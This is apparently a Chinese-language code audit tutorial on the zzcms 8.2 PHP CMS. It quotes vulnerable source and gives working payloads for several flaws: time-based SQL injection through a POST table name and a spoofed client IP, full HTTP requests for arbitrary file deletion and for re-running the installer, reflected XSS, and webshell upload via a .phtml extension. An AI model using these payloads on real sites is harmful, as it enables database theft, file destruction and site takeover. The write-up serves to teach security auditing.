登陆 注册

代码审计 | zzcms8.2

BY残年 2020-03-10 安全文摘

前言

代码审计,最重要的就是多读代码,对用户与网站交互的地方要特别注意。在进行审计时,我们也可以使用一些审计工具来辅助我们进行工作,从而提高效率。下面,笔者将分享审计zzcms8.2的过程,与大家一起学习。这里,笔者,使用seay源代码审计系统软件进行辅助工作。

1.2.1审计流程

首先,笔者打开seay源代码审计系统软件,将要审计的网站源码导入项目,然后点击自动审计。当审计完成时,我们需要根据自动审计的结果,进行逐一验证。当然,我们不需要真的每个文件都打开看过去,可以根据扫描报告中的漏洞详细信息来判断是否可能存在漏洞,如果你觉得某个地方可能存在,这时,你再打开具体文件查看。

如果你想查询某个变量或者函数在代码中的具体位置,你也可以使用全局定位搜索,该软件会快速地定位找出具体文件,这一功能大大加快了我们审计的速度。对于来自用户的数据以及后端对数据库的操作,我们要特别注意。下面笔者介绍zzcms8.2的审计过程。

1.2.2.1 sql 注入漏洞

首先,"/user/del.php"开头两行包含了两个文件  "/inc/conn.php"、"/user/check.php",而"/inc/conn.php"又包含了一些文件,其中要关注的是"/inc/function.php"和"/inc/stopsqlin.php"。其中"/inc/function.php"提供了一些关键的功能函数,而"/inc/stopsqlin.php"则是防止sql注入的包含。

# "/user/conn.php"文件
include(zzcmsroot."/inc/config.php");
include(zzcmsroot."/inc/wjt.php");
include(zzcmsroot."/inc/function.php");
include(zzcmsroot."/inc/zsclass.php");
include(zzcmsroot."/inc/stopsqlin.php");
include(zzcmsroot."/inc/area.php");

"/inc/stopsqlin.php"文件,则会对REQUEST的数据进行过滤,具体代码如下

# "/user/stopsqlin.php"文件
function zc_check($string){
if(!is_array($string)){
if(get_magic_quotes_gpc()){
return htmlspecialchars(trim($string));
}else{
return addslashes(htmlspecialchars(trim($string)));
}
}
foreach($string as $k => $v) $string[$k] = zc_check($v);
return $string;
}
if($_REQUEST){
$_POST =zc_check($_POST);
$_GET =zc_check($_GET);
$_COOKIE =zc_check($_COOKIE);
@extract($_POST);
@extract($_GET);
}
function nostr($str){
$sql_injdata = "',/,\,<,>,�";
$sql_inj = explode(",",$sql_injdata);
for ($i=0; $i< count($sql_inj);$i++){
if (@strpos($str,$sql_inj[$i])!==false){
showmsg ("含有非法字符 [".$sql_inj[$i]."] 返回重填");
}
}
return $str;//没有的返回值
}

我们来看一下"/user/check.php"函数是否存在可利用的地方,这个文件中有 5  处 SQL  语句查询,第一处,无法利用,因为首先参数经过"/inc/stopsqlin.php"消毒处理,且被单引号包裹,无法闭合。

# "/user/check.php"文件
$username=nostr($_COOKIE["UserName"]);
$rs=query("select id,usersf,lastlogintime from zzcms_user where
lockuser=0 and username='".$username."' and
password='".$_COOKIE["PassWord"]."'");$row=num_rows($rs);

剩下4处SQL语句要想执行,就必须要先进行注册账号。先来看第二处的sql语句。我们再看getip()函数时,可以发现这里的ip可以伪造,而且代码未经任何过滤,仅仅只是用单引号包裹拼接。

# "/user/check.php"文件
query("UPDATE zzcms_user SET loginip = '".getip()."' WHERE
username='".$username."'");//更新最后登录IP
# "/inc/function.php"文件
function getip(){
if (getenv("HTTP_CLIENT_IP") &&
strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
$ip = getenv("HTTP_CLIENT_IP");
else if (getenv("HTTP_X_FORWARDED_FOR") &&
strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
$ip = getenv("HTTP_X_FORWARDED_FOR");
elseif(getenv("REMOTE_ADDR")&&strcasecmp(getenv("REMOTE_ADDR"),
"unknown"))
$ip = getenv("REMOTE_ADDR");
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR']
&& strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
$ip = $_SERVER['REMOTE_ADDR'];
else
$ip = "unknown";
return($ip);
}

那么我们直接用sqlmap跑一下,这里我事先注册好了test用户密码为test,zzcms将用户的密码经md5加密后存在数据库中,结果如下:

那么最后剩下的3处sql语句都无法利用,继续往下看。

# "/user/check.php"文件
query("UPDATE zzcms_user SET totleRMB = totleRMB+".jf_login." WHERE
username='".$username."'");//登录时加积分
query("insert into   zzcms_pay (username,dowhat,RMB,mark,sendtime)
values('".$username."',' 每 天 登 录 用 户 中 心 送 积 分
','+".jf_login."','','".date('Y-m-d H:i:s')."')");
query("UPDATE zzcms_user SET lastlogintime = '".date('Y-m-d H:i:s')."'
WHERE username='".$username."'");//更新最后登录时间

在130多行处,我们发现有一个sql语句直接将$tablename变量直接进行拼接了,而这个$tablename 变量可直接从 post  方式获取,代码未经任何过滤直接拼接,从而引发了sql注入。

# "/user/del.php"文件
if (strpos($id,",")>0)
$sql="select id,editor from ".$tablename." where id in (".$id .")";
else
$sql="select id,editor from ".$tablename." where id ='$id'";
作者vr_system于2018-02-07发表了ZZCMS   v8.2 最新版SQL注入漏洞
(http://www.freebuf.com/vuls/161888.html) 一文,文中使用的payload 为:
id=1&tablename=zzcms_answer where id = 1 and
if((ascii(substr(user(),1,1)) =121),sleep(5),1)#

但是这并不是一个通用 payload,因为如果 zzcms_answer  是一个空表,则该 payload 无法利用,所以我们改进一下,payload  改成如下即可,这里注意不能使用大于号、小于号,因为    post  上来的数据被  addslashes()、htmlspecialchars()、trim()三个函数消毒处理过了。id=1&tablename=zzcms_answer where id=999999999  union select 1,2 and if((ascii(substr(user(),1,1)) = 114),sleep(3),1)#

在"/user/logincheck.php"、"/admin/logincheck.php"中也存在多处由ip导致的sql注入,这里就不一一列举了。

1.2.2.2  任意文件删除漏洞

该漏洞发生在80多行处的变量,该变量直接由与oldimg拼接而得,并未过滤.和/字符,导致跨目录删除文件。所以按照代码逻辑,我们只要让不等于oldimg,且$action等于"modify"即可。

# "/user/adv.php"文件
.......
if (isset($_REQUEST["img"])){
$img=$_REQUEST["img"];
}else{
$img="";
}
if (isset($_REQUEST["oldimg"])){
$oldimg=$_REQUEST["oldimg"];
}
else{
$oldimg="";
}
.......
if ($action=="modify"){
query("update zzcms_textadv set
adv='$adv',company='$company',advlink='$advlink',img='$img',passed=0
where username='".$_COOKIE["UserName"]."'");
if ($oldimg<>$img){
$f="../".$oldimg;
if (file_exists($f)){
unlink($f);
}
}
.......
}

payload如下:

POST /user/adv.php?action=modify HTTP/1.1
Host: 192.168.1.7
Content-Length: 149
Cache-Control: max-age=0
Origin: http://192.168.1.7
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/62.0.3202.62 Safari/537.36
Accept: text/html,application/xhtml
xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://192.168.1.7/user/adv.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: bdshare_firstime=1518262531074;
PHPSESSID=jpeu0l4983924s20f6bk0ktkl0;
Connection: close
adv=tettste&advlink=/zt/show.php?id=1&company=测试
&img=test&oldimg=admin/admin.php&Submit3=%E5%8F%91%E5%B8%83

该 漏 洞 还 存 在 于"/user/manage.php"、"/user/ppsave.php" 、"/user/zssave.php"、等文件中。

1.2.2.3  网站重装漏洞

来看一下"/install/index.php"文件的代码流程,发现这里并没有检测"/install/install.lock"文件是否存在,那应该是在其他文件中。

# "/install/index.php"文件

<?php
switch($step) {
case '1'://协议
include 'step_'.$step.'.php';
break;
case '2'://环境
........
include 'step_'.$step.'.php';
break;
case '3'://查目录属性
include 'step_'.$step.'.php';
break;
case '4'://建数据库
include 'step_'.$step.'.php';
break;
case '5'://安装进度
........
include 'step_'.$step.'.php';
?>

然 而 发 现 , 只 有"/install/step_1.php"文 件 在 开 头 有 检 测"/install/install.lock"文件是否存在(存在表示已经安装过),其他"/install/step_2.php"、"/install/step_3.php"、"/install/step_4.php"、"/install/step_5.php"、"/install/step_6.php"都少了该判断导致该漏洞的发生。

# "/install/step_1.php"文件
if(file_exists("install.lock")){
echo "<div style='padding:30px;'>安装向导已运行安装过,如需重安
装,请删除 /install/install.lock 文件</div>";
}

所以我们可以跳过第一步的检测,直接访问"/install/step_2.php"文件,payload如下:

POST /install/index.php HTTP/1.1
Host: 192.168.1.7
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/62.0.3202.62 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,imag
e/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: bdshare_firstime=1518262531074;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
step=2

1.2.2.4 反射型 XSS

该漏洞出现在"/inc/top.php"文件中,需要用户登录方可利用。之前的大部分文件都会在开头包含"/inc/conn.php"文件,对 REQUEST  数据进行消毒处理,而这个文件没有,从而导致漏洞的发生。我们只需要将标签闭合即可实现反射型xss。

# "/inc/top.php"文件
<?php
if (@$_POST["action"]=="search"){
echo
"<script>location.href='".@$_POST["lb"]."/search.php?keyword=".@$_POS
T["keyword"]."'</script>";
}
if (isset($_REQUEST["skin"])){
$siteskin=$_REQUEST["skin"];
}
.......
?>

同样的漏洞还出现在"/uploadimg_form.php"文件66-67行处,这里不赘述。

1.2.2.5  文件上传漏洞

"/uploadimg_form.php"文件提供了一个文件上传的功能,然而这里没有过滤好,导致可以上传webshell。我们可以来看一下后端代码是如何进行验证的。

# "/uploadimg.php"文件
function upfile() {
//文件是否存在
if (!is_uploaded_file(@$this->fileName[tmp_name])){
echo"<script>alert('请点击“浏览”,先选择您要上传的文件!
\\n\\n支持的图片类型为:
jpg,gif,png,bmp');parent.window.close();</script>"; exit;
}
//检查文件大小
if ($this->max_file_size*1024 < $this->fileName["size"]){
echo "<script>alert('文件大小超过了限制!最大只能上传".$this->max_file_size." K的文件
');parent.window.close();</script>";exit;
}
//检查文件类型
if (!in_array($this->fileName["type"], $this->uptypes)) {
echo "<script>alert('文件类型错误,支持的图片类型为:
jpg,gif,png,bmp');parent.window.close();</script>";exit;
}
//检查文件后缀
$hzm=strtolower(substr($this->fileName["name"],strpos($this->fi
leName["name"],".")));//获取.后面的后缀,如可获取到.php.gif
if (strpos($hzm,"php")!==false || strpos($hzm,"asp")!==false
||strpos($hzm,"jsp")!==false){
echo "<script>alert('".$hzm.",这种文件不允许上传
');parent.window.close();</script>";exit;
}
......
}

首先,先判断文件是否存在,再检查文件是否超过限制,接着检查文件类型,这里可以用GIF89a绕过检查,最后使用黑名单机制检查文件后缀,问题就出在这里,黑名单少过滤了phtml,而apache会将phtml文件按照php文件来解析。所以我们可以构造payload如下,当然,使用copy命令生成的图片木马也可以绕过(例如:copy test.jpg/b+test.php shell.jpg)

1.2.2.6  结束语

当然,大家也可以使用其他的审计工具进行辅助,只要适合自己,有利于审计即可。虽然这是一个小cms,但是对于代码审计的新手来说,就是要多读、多看、多想。审计小 cms  的过程,就是在积累经验的过程,更是对我们将来审计大型框架进行铺垫。这里推荐大家一本书《代码审计--企业级 Web  代码安全架构》,然后多看看网络上代码审计的案例,最重要的,还要自己动手审计一遍,希望这些技巧能够对你学习代码审计有所帮助。

文由红日安全

生成海报
请发表您的评论
请关注微信公众号
微信二维码
不容错过
Powered By SangYun.Net